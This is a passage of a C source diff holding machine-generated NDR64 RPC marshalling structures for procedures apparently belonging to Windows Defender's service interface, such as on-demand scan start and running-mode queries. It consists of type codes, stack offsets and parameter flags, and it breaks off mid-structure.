__midl_frag1279_t __midl_frag1279 = +{ +/* */ + (NDR64_UINT32) 1 /* 0x1 */, + { + /* struct _NDR64_EXPR_VAR */ + 0x3, /* FC_EXPR_VAR */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 24 /* 0x18 */ /* Offset */ + } +}; + +static const __midl_frag1278_t __midl_frag1278 = +{ +/* *Struct_476_t */ + { + /* *Struct_476_t */ + 0x41, /* FC64_CONF_ARRAY */ + (NDR64_UINT8) 7 /* 0x7 */, + { + /* *Struct_476_t */ + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 32 /* 0x20 */, + &__midl_frag1279 + }, + { + /* */ + { + /* struct _NDR64_REPEAT_FORMAT */ + 0x82, /* FC64_VARIABLE_REPEAT */ + { + /* struct _NDR64_REPEAT_FORMAT */ + (NDR64_UINT8) 1 /* 0x1 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 32 /* 0x20 */, + (NDR64_UINT32) 0 /* 0x0 */, + (NDR64_UINT32) 3 /* 0x3 */ + }, + { + /* */ + { + /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */ + (NDR64_UINT32) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* *wchar_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2364 + }, + { + /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */ + (NDR64_UINT32) 8 /* 0x8 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* *wchar_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2364 + }, + { + /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */ + (NDR64_UINT32) 24 /* 0x18 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* *char */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 32 /* 0x20 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag1282 + } + }, + 0x93 /* FC64_END */ + }, + { + /* struct _NDR64_ARRAY_ELEMENT_INFO */ + (NDR64_UINT32) 32 /* 0x20 */, + &__midl_frag73 + } +}; + +static const __midl_frag1277_t __midl_frag1277 = +{ +/* *Struct_476_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 32 /* 0x20 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag1278 +}; + +static const __midl_frag1272_t __midl_frag1272 = +{ +/* Proc135_ServerMpOnDemandStartScan2 */ + { + /* Proc135_ServerMpOnDemandStartScan2 */ /* procedure Proc135_ServerMpOnDemandStartScan2 */ + (NDR64_UINT32) 2883651 /* 0x2c0043 */, /* auto handle */ /* IsIntrepreted, ClientMustSize, HasReturn, ServerCorrelation */ + (NDR64_UINT32) 88 /* 0x58 */ , /* Stack size */ + (NDR64_UINT32) 48 /* 0x30 */, + (NDR64_UINT32) 172 /* 0xac */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 11 /* 0xb */, + (NDR64_UINT16) 0 /* 0x0 */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2368, + { + /* arg_1 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2368, + { + /* arg_2 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag2368, + { + /* arg_3 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* arg_4 */ /* parameter arg_4 */ + &__midl_frag2368, + { + /* arg_4 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + }, + { + /* arg_5 */ /* parameter arg_5 */ + &__midl_frag1277, + { + /* arg_5 */ + 1, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustSize, MustFree, [in] */ + (NDR64_UINT16) 0 /* 0x0 */, + 32 /* 0x20 */, /* Stack offset */ + }, + { + /* arg_6 */ /* parameter arg_6 */ + &__midl_frag2368, + { + /* arg_6 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 40 /* 0x28 */, /* Stack offset */ + }, + { + /* arg_7 */ /* parameter arg_7 */ + &__midl_frag2368, + { + /* arg_7 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 48 /* 0x30 */, /* Stack offset */ + }, + { + /* arg_8 */ /* parameter arg_8 */ + &__midl_frag36, + { + /* arg_8 */ + 0, + 1, + 0, + 0, + 1, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* MustFree, [out], SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 56 /* 0x38 */, /* Stack offset */ + }, + { + /* arg_9 */ /* parameter arg_9 */ + &__midl_frag1288, + { + /* arg_9 */ + 0, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], SimpleRef */ + (NDR64_UINT16) 0 /* 0x0 */, + 64 /* 0x40 */, /* Stack offset */ + }, + { + /* arg_10 */ /* parameter arg_10 */ + &__midl_frag2367, + { + /* arg_10 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 72 /* 0x48 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 80 /* 0x50 */, /* Stack offset */ + } +}; + +static const __midl_frag1268_t __midl_frag1268 = +{ +/* *Struct_3040_t */ + 0x20, /* FC64_RP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag1253 +}; + +static const __midl_frag1267_t __midl_frag1267 = +{ +/* Proc134_ServerDlpMpRpcDlpIsPrintDetoursNeeded */ + { + /* Proc134_ServerDlpMpRpcDlpIsPrintDetoursNeeded */ /* procedure Proc134_ServerDlpMpRpcDlpIsPrintDetoursNeeded */ + (NDR64_UINT32) 19660864 /* 0x12c0040 */, /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, ServerCorrelation, HasExtensions */ + (NDR64_UINT32) 32 /* 0x20 */ , /* Stack size */ + (NDR64_UINT32) 0 /* 0x0 */, + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 3 /* 0x3 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag1253, + { + /* arg_1 */ + 1, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustSize, MustFree, [in], SimpleRef */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2367, + { + /* arg_2 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + } +}; + +static const __midl_frag1263_t __midl_frag1263 = +{ +/* */ + { + /* **Struct_2986_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 32 /* 0x20 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag1254 + }, + { + /* *char */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 32 /* 0x20 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag1260 + } +}; + +static const __midl_frag1261_t __midl_frag1261 = +{ +/* */ + (NDR64_UINT32) 1 /* 0x1 */, + { + /* struct _NDR64_EXPR_VAR */ + 0x3, /* FC_EXPR_VAR */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 16 /* 0x10 */ + } +}; + +static const __midl_frag1260_t __midl_frag1260 = +{ +/* *char */ + { + /* *char */ + 0x41, /* FC64_CONF_ARRAY */ + (NDR64_UINT8) 0 /* 0x0 */, + { + /* *char */ + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 1 /* 0x1 */, + &__midl_frag1261 + }, + { + /* struct _NDR64_ARRAY_ELEMENT_INFO */ + (NDR64_UINT32) 1 /* 0x1 */, + &__midl_frag2355 + } +}; + +static const __midl_frag1259_t __midl_frag1259 = +{ +/* *Struct_2986_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag1256 +}; + +static const __midl_frag1256_t __midl_frag1256 = +{ +/* Struct_2986_t */ + { + /* Struct_2986_t */ + 0x31, /* FC64_PSTRUCT */ + (NDR64_UINT8) 7 /* 0x7 */, + { + /* Struct_2986_t */ + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 16 /* 0x10 */ + }, + { + /* */ + { + /* struct _NDR64_NO_REPEAT_FORMAT */ + 0x80, /* FC64_NO_REPEAT */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */ + (NDR64_UINT32) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* *wchar_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2364 + }, + { + /* struct _NDR64_NO_REPEAT_FORMAT */ + 0x80, /* FC64_NO_REPEAT */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */ + (NDR64_UINT32) 8 /* 0x8 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* *wchar_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2364 + }, + 0x93 /* FC64_END */ + } +}; + +static const __midl_frag1255_t __midl_frag1255 = +{ +/* */ + (NDR64_UINT32) 1 /* 0x1 */, + { + /* struct _NDR64_EXPR_VAR */ + 0x3, /* FC_EXPR_VAR */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + } +}; + +static const __midl_frag1254_t __midl_frag1254 = +{ +/* **Struct_2986_t */ + { + /* **Struct_2986_t */ + 0x41, /* FC64_CONF_ARRAY */ + (NDR64_UINT8) 7 /* 0x7 */, + { + /* **Struct_2986_t */ + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 8 /* 0x8 */, + &__midl_frag1255 + }, + { + /* */ + { + /* struct _NDR64_REPEAT_FORMAT */ + 0x82, /* FC64_VARIABLE_REPEAT */ + { + /* struct _NDR64_REPEAT_FORMAT */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 8 /* 0x8 */, + (NDR64_UINT32) 0 /* 0x0 */, + (NDR64_UINT32) 1 /* 0x1 */ + }, + { + /* */ + { + /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */ + (NDR64_UINT32) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* *Struct_2986_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag1256 + } + }, + 0x93 /* FC64_END */ + }, + { + /* struct _NDR64_ARRAY_ELEMENT_INFO */ + (NDR64_UINT32) 8 /* 0x8 */, + &__midl_frag1259 + } +}; + +static const __midl_frag1253_t __midl_frag1253 = +{ +/* Struct_3040_t */ + { + /* Struct_3040_t */ + 0x35, /* FC64_FORCED_BOGUS_STRUCT */ + (NDR64_UINT8) 7 /* 0x7 */, + { + /* Struct_3040_t */ + 1, + 1, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 48 /* 0x30 */, + 0, + 0, + &__midl_frag1263, + }, + { + /* */ + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_MEMPAD_FORMAT */ + 0x90, /* FC64_STRUCTPADN */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x14, /* FC64_POINTER */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_MEMPAD_FORMAT */ + 0x90, /* FC64_STRUCTPADN */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x14, /* FC64_POINTER */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x7, /* FC64_INT64 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_MEMPAD_FORMAT */ + 0x90, /* FC64_STRUCTPADN */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* Struct_3040_t */ + 0x92, /* FC64_BUFFER_ALIGN */ + (NDR64_UINT8) 7 /* 0x7 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x93, /* FC64_END */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + } + } +}; + +static const __midl_frag1252_t __midl_frag1252 = +{ +/* *Struct_3040_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag1253 +}; + +static const __midl_frag1251_t __midl_frag1251 = +{ +/* **Struct_3040_t */ + 0x20, /* FC64_RP */ + (NDR64_UINT8) 20 /* 0x14 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag1252 +}; + +static const __midl_frag1250_t __midl_frag1250 = +{ +/* Proc133_ServerDlpMpRpcDlpIsPrintDetoursNeeded */ + { + /* Proc133_ServerDlpMpRpcDlpIsPrintDetoursNeeded */ /* procedure Proc133_ServerDlpMpRpcDlpIsPrintDetoursNeeded */ + (NDR64_UINT32) 21626944 /* 0x14a0040 */, /* explicit handle */ /* IsIntrepreted, ServerMustSize, HasReturn, ClientCorrelation, HasExtensions */ + (NDR64_UINT32) 32 /* 0x20 */ , /* Stack size */ + (NDR64_UINT32) 0 /* 0x0 */, + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 3 /* 0x3 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag1251, + { + /* arg_1 */ + 1, + 1, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* MustSize, MustFree, [out], UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2367, + { + /* arg_2 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + } +}; + +static const __midl_frag1244_t __midl_frag1244 = +{ +/* *char */ + 0x20, /* FC64_RP */ + (NDR64_UINT8) 8 /* 0x8 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2355 +}; + +static const __midl_frag1242_t __midl_frag1242 = +{ +/* Proc132_ServerMpXBGMUpdateIV */ + { + /* Proc132_ServerMpXBGMUpdateIV */ /* procedure Proc132_ServerMpXBGMUpdateIV */ + (NDR64_UINT32) 17301568 /* 0x1080040 */, /* explicit handle */ /* IsIntrepreted, HasReturn, HasExtensions */ + (NDR64_UINT32) 48 /* 0x30 */ , /* Stack size */ + (NDR64_UINT32) 61 /* 0x3d */, + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 5 /* 0x5 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2164, + { + /* arg_1 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2355, + { + /* arg_2 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, SimpleRef */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag2164, + { + /* arg_3 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + }, + { + /* arg_4 */ /* parameter arg_4 */ + &__midl_frag2367, + { + /* arg_4 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 32 /* 0x20 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 40 /* 0x28 */, /* Stack offset */ + } +}; + +static const __midl_frag1238_t __midl_frag1238 = +{ +/* Proc131_ServerMpDisableXBGM */ + { + /* Proc131_ServerMpDisableXBGM */ /* procedure Proc131_ServerMpDisableXBGM */ + (NDR64_UINT32) 17301568 /* 0x1080040 */, /* explicit handle */ /* IsIntrepreted, HasReturn, HasExtensions */ + (NDR64_UINT32) 24 /* 0x18 */ , /* Stack size */ + (NDR64_UINT32) 0 /* 0x0 */, + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 2 /* 0x2 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2367, + { + /* arg_1 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + } +}; + +static const __midl_frag1227_t __midl_frag1227 = +{ +/* Proc129_ServerMpRpcIsGivenRunningModeSupported */ + { + /* Proc129_ServerMpRpcIsGivenRunningModeSupported */ /* procedure Proc129_ServerMpRpcIsGivenRunningModeSupported */ + (NDR64_UINT32) 17301568 /* 0x1080040 */, /* explicit handle */ /* IsIntrepreted, HasReturn, HasExtensions */ + (NDR64_UINT32) 40 /* 0x28 */ , /* Stack size */ + (NDR64_UINT32) 8 /* 0x8 */, + (NDR64_UINT32) 72 /* 0x48 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2368, + { + /* arg_1 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2368, + { + /* arg_2 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag2367, + { + /* arg_3 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 32 /* 0x20 */, /* Stack offset */ + } +}; + +static const __midl_frag1221_t __midl_frag1221 = +{ +/* Proc128_ServerMpRpcGetRunningMode */ + { + /* Proc128_ServerMpRpcGetRunningMode */ /* procedure Proc128_ServerMpRpcGetRunningMode */ + (NDR64_UINT32) 17301568 /* 0x1080040 */, /* explicit handle */ /* IsIntrepreted, HasReturn, HasExtensions */ + (NDR64_UINT32) 